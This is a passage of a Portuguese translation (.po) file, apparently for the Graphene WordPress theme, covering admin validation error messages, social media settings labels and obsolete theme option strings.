msgid "ERROR: Invalid category selected for the front page posts categories." msgstr "ERRO: categoria inválida para os posts da página inicial." #: admin/validator.php:86 msgid "ERROR: Invalid option for the type of content to show in homepage panes." msgstr "ERRO: opção inválida para tipo de conteúdo a exibir nos painéis da página inicial." #: admin/validator.php:88 msgid "ERROR: The value for the number of latest posts to display in homepage panes must be an integer." msgstr "ERRO: o valor do número de últimos posts a exibir na página inicial deve ser um número inteiro." #: admin/validator.php:93 msgid "ERROR: Invalid category selected for the latest posts to show from in the homepage panes." msgstr "ERRO: categoria inválida para exibição dos últimos posts em Painéis da Página Inicial." #: admin/validator.php:107 msgid "ERROR: Invalid option for the comments option." msgstr "ERRO: opção inválida para comentários." #: admin/validator.php:116 msgid "ERROR: Invalid option for the child page listings." msgstr "ERRO: opção inválida para listagem de páginas-filhas." #: admin/validator.php:134 msgid "ERROR: Bad URL entered for the custom feed URL." msgstr "ERRO: URL não aceita como URL do Feed personalizado." #: admin/validator.php:138 msgid "ERROR: Bad URL entered for the Twitter URL." msgstr "ERRO: URL não aceita como URL do Twitter." #: admin/validator.php:140 msgid "ERROR: Bad URL entered for the Facebook URL." msgstr "ERRO: URL não aceita como URL do Facebook." #: admin/validator.php:152 msgid "ERROR: Bad URL entered for the social media icon URL." msgstr "ERRO: URL não aceita como URL do ícone da rede social." #: admin/validator.php:153 msgid "ERROR: Bad URL entered for the social media URL." msgstr "ERRO: URL não aceita como URL de rede social." #: admin/validator.php:168 msgid "ERROR: Invalid option for the social sharing buttons location." msgstr "ERRO: opção inválida para localização dos botões de compartilhamento." #: admin/validator.php:228 msgid "ERROR: Invalid option for the Search box location." msgstr "ERRO: opção inválida para localização da caixa de pesquisa." #: admin/validator.php:233 msgid "ERROR: Invalid option for the column mode." msgstr "ERRO: opção inválida para modo de colunas." #: admin/validator.php:239 msgid "ERROR: Invalid option for the post date display." msgstr "ERRO: opção inválida para exibição da data do post." #: admin/validator.php:305 msgid "ERROR: The number of columns to be displayed in the footer widget must be a an integer value." msgstr "ERRO: o número de colunas exibidas no rodapé deve ser inteiro." #: admin/validator.php:310 msgid "ERROR: The width of the submenu must be a an integer value." msgstr "ERRO: a largura do submenu deve ser um valor inteiro." #: admin/validator.php:318 msgid "ERROR: Bad URL entered for the favicon URL." msgstr "ERRO: URL não aceita como URL do favicon." #: admin/validator.php:332 msgid "ERROR: Invalid action hook selected widget action hooks." msgstr "ERRO: opção de action hook inválida." #: admin/js/admin.js.php:47 msgid "Social Media name" msgstr "Nome da Rede Social" #: admin/js/admin.js.php:50 msgid "Name of the social media, e.g. LinkedIn, etc." msgstr "Nome da rede social, ex: LinkedIn." #: admin/js/admin.js.php:54 msgid "Social Media title" msgstr "Título da Rede Social" #: admin/js/admin.js.php:57 msgid "Title for the social media, leave empty for generated title." msgstr "Título da rede social, deixe em branco para gerar um título." #: admin/js/admin.js.php:61 msgid "Social Media profile URL" msgstr "URL do perfil na Rede Social" #: admin/js/admin.js.php:64 msgid "URL to your page for the social media." msgstr "URL para sua página na rede social." #: admin/js/admin.js.php:68 msgid "Social Media icon URL" msgstr "URL do ícone da Rede Social" #: admin/js/admin.js.php:71 #, php-format msgid "URL to the social media icon. <strong>Note:</strong> the theme uses the %s icon set for the social media icons. Please do not hotlink the icons on the site. Download the icons you need and upload them to your server instead." msgstr "URL do ícone da rede social. <strong>Atenção</strong>: este tema usa os ícones %s para as redes sociais. Por favor, não faça links diretos pro site. Em vez disso, baixe os ícones que você quer e envie-os para seu servidor." #~ msgid "Settings saved." #~ msgstr "Configurações gravadas." #~ msgid "Leave field empty to use the default value." #~ msgstr "Deixe o campo em branco para usar o valor padrão." #~ msgid "Valid XHTML 1.0 Strict" #~ msgstr "XHTML 1.0 Strict válido" #~ msgid "Valid CSS" #~ msgstr "CSS válida" #~ msgid "Valid CSS Level 2.1" #~ msgstr "CSS Level 2.1 válida" #~ msgid "%1$s uses %2$s theme by %3$s." #~ msgstr "%1$s usa o tema %2$s criado por %3$s." #~ msgid "URL to your profile page for the social media." #~ msgstr "URL para sua página de perfil na rede social." #~ msgid "Visit Facebook page" #~ msgstr "Visitar Facebook" #~ msgid "Feed Options" #~ msgstr "Opções de Feed" #~ msgid "No comment yet" #~ msgstr "Nenhum comentário ainda" #~ msgid "No ping yet" #~ msgstr "Nenhuma menção ainda" #~ msgid "" #~ "Please enter only numerical value for the footer widget column count." #~ msgstr "" #~ "Por favor, digite apenas números para o número de colunas do rodapé de " #~ "widgets." #~ msgid "" #~ "Please enter only numerical value for the front page footer widget column " #~ "count." #~ msgstr "" #~ "Por favor, digite apenas números para o número de colunas do rodapé de " #~ "widgets da página inicial." #~ msgid "" #~ "Please enter only numerical value for the navigation menu dropdown item " #~ "width." #~ msgstr "Por favor, digite apenas números para a largura do menu dropdown." #~ msgid "Graphene Display Options" #~ msgstr "Opções de Exibição do Graphene" #~ msgid "ERROR:" #~ msgstr "ERRO:" #~ msgid "Sidebar Options" #~ msgstr "Opções da barra lateral" #~ msgid "Content sidebar location" #~ msgstr "Localização da barra lateral de conteúdo" #~ msgid "Right" #~ msgstr "Direita" #~ msgid "Left" #~ msgstr "Esquerda" #~ msgid "Hide sidebar" #~ msgstr "ocultar barra lateral" #~ msgid "" #~ "Will cause all posts and pages to be displayed in a single-column layout." #~ msgstr "Todos os posts e páginas serão exibidos em um layout de uma coluna." #~ msgid "Show post year" #~ msgstr "Exibir ano do post" #~ msgid "Only works if the option \"Hide post date\" is disabled." #~ msgstr "" #~ "Só funcuiona se a opção \"Ocultar data do post\" estiver desabilitada." #~ msgid "" #~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, " #~ "<code>'Trebuchet MS'</code>" #~ msgstr "" #~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, " #~ "<code>'Trebuchet MS'</code>" #~ msgid "<code>12px</code>, <code>12pt</code>, <code>12em</code>" #~ msgstr "<code>12px</code>, <code>12pt</code>, <code>12em</code>" #~ msgid "" #~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>" #~ msgstr "" #~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>" #~ msgid " <code>normal</code>, <code>italic</code>, <code>oblique</code>" #~ msgstr " <code>normal</code>, <code>italic</code>, <code>oblique</code>" #~ msgid "" #~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</" #~ "code>" #~ msgstr "" #~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</" #~ "code>" #~ msgid "" #~ "If this is checked, the website title will be displayed first, followed " #~ "by the page title." #~ msgstr "" #~ "Se marcado, o título do site será exibido antes do título da página (na " #~ "barra do navegador)." #~ msgid "Update Settings" #~ msgstr "Atualizar opções" #~ msgid "You must enter your Adsense code to enable Adsense advertising" #~ msgstr "Você deve fornecer seu código Adsense para habilitar os anúncios" #~ msgid "" #~ "You must enter your AddThis button code to enable the AddThis social " #~ "sharing button" #~ msgstr "" #~ "Você deve fornecer seu código AddThis para habilitar o botão de " #~ "compartilhamento" #~ msgid "" #~ "You must enter your Google Analytics tracking code to enable Google " #~ "Analytics tracking." #~ msgstr "" #~ "Você deve fornecer seu código Google Analytics para habilitar o " #~ "rastreamento." #~ msgid "" #~ "This setting only affects the slider if \"Show latest posts\" is selected " #~ "above." #~ msgstr "" #~ "Esta opção só afetará o Slider se \"Exibir últimos posts\" estiver " #~ "selecionado acima." #~ msgid "AddThis Options" #~ msgstr "Opções AddThis" #~ msgid "Your AddThis button code" #~ msgstr "Seu código do botão AddThis" #~ msgid "" #~ "You can generate your button code from the <a href=\"http://www.addthis." #~ "com/\">AddThis website</a>." #~ msgstr "" #~ "Você pode gerar o código para seu botão no <a href=\"http://www.addthis." #~ "com/\">website AddThis</a>." #~ msgid "by %s" #~ msgstr "por %s" #~ msgid "No comment" #~ msgstr "Sem comentários" #~ msgid "No post found" #~ msgstr "Nenhum post encontrado" #~ msgid "You might want to try another search using alternative terms." #~ msgstr "Você deveria tentar outra busca utilizando termos alternativos."